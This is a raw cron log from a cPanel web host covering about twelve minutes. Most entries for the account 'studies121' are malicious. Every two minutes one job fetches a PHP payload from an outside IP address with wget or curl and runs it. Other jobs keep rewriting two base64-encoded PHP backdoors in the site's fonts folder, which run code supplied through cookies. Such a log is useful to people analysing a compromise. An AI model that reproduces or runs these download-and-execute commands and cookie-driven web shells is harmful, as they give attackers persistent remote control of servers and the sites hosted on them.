Sep 20 04:26:01 ip-184-168-122-23 CROND[17729]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:26:01 ip-184-168-122-23 CROND[17730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:26:01 ip-184-168-122-23 CROND[17731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:27:01 ip-184-168-122-23 CROND[18040]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:27:01 ip-184-168-122-23 CROND[18041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:27:01 ip-184-168-122-23 CROND[18044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:27:01 ip-184-168-122-23 CROND[18043]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:28:01 ip-184-168-122-23 CROND[18289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:28:01 ip-184-168-122-23 CROND[18293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:28:01 ip-184-168-122-23 CROND[18295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:28:01 ip-184-168-122-23 CROND[18294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:28:01 ip-184-168-122-23 CROND[18297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:29:01 ip-184-168-122-23 CROND[18556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:29:01 ip-184-168-122-23 CROND[18558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:29:01 ip-184-168-122-23 CROND[18559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:29:01 ip-184-168-122-23 CROND[18560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18828]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:30:01 ip-184-168-122-23 CROND[18825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18831]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18835]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:30:01 ip-184-168-122-23 CROND[18833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:30:01 ip-184-168-122-23 CROND[18838]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep 20 04:31:01 ip-184-168-122-23 CROND[19111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:31:01 ip-184-168-122-23 CROND[19112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:31:01 ip-184-168-122-23 CROND[19115]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 04:31:01 ip-184-168-122-23 CROND[19113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:31:01 ip-184-168-122-23 CROND[19114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:32:01 ip-184-168-122-23 CROND[19449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:32:01 ip-184-168-122-23 CROND[19448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:32:01 ip-184-168-122-23 CROND[19450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:32:01 ip-184-168-122-23 CROND[19451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:32:01 ip-184-168-122-23 CROND[19452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:33:01 ip-184-168-122-23 CROND[19713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:33:01 ip-184-168-122-23 CROND[19715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:33:01 ip-184-168-122-23 CROND[19716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:33:01 ip-184-168-122-23 CROND[19717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:34:01 ip-184-168-122-23 CROND[19936]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:34:01 ip-184-168-122-23 CROND[19937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:34:01 ip-184-168-122-23 CROND[19940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:34:01 ip-184-168-122-23 CROND[19942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:34:01 ip-184-168-122-23 CROND[19941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:35:01 ip-184-168-122-23 CROND[20218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:35:01 ip-184-168-122-23 CROND[20219]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 04:35:01 ip-184-168-122-23 CROND[20225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:35:01 ip-184-168-122-23 CROND[20222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:35:01 ip-184-168-122-23 CROND[20223]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 04:35:01 ip-184-168-122-23 CROND[20226]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 04:35:01 ip-184-168-122-23 CROND[20227]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 04:35:01 ip-184-168-122-23 CROND[20230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:36:01 ip-184-168-122-23 CROND[20471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:36:01 ip-184-168-122-23 CROND[20472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:36:01 ip-184-168-122-23 CROND[20475]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 04:36:02 ip-184-168-122-23 CROND[20476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:36:02 ip-184-168-122-23 CROND[20478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:37:01 ip-184-168-122-23 CROND[20729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 04:37:01 ip-184-168-122-23 CROND[20730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 04:37:01 ip-184-168-122-23 CROND[20731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 04:37:01 ip-184-168-122-23 CROND[20733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 04:38:01 ip-184-168-122-23 CROND[21126]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 20 04:38:01 ip-184-168-122-23 CROND[21127]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
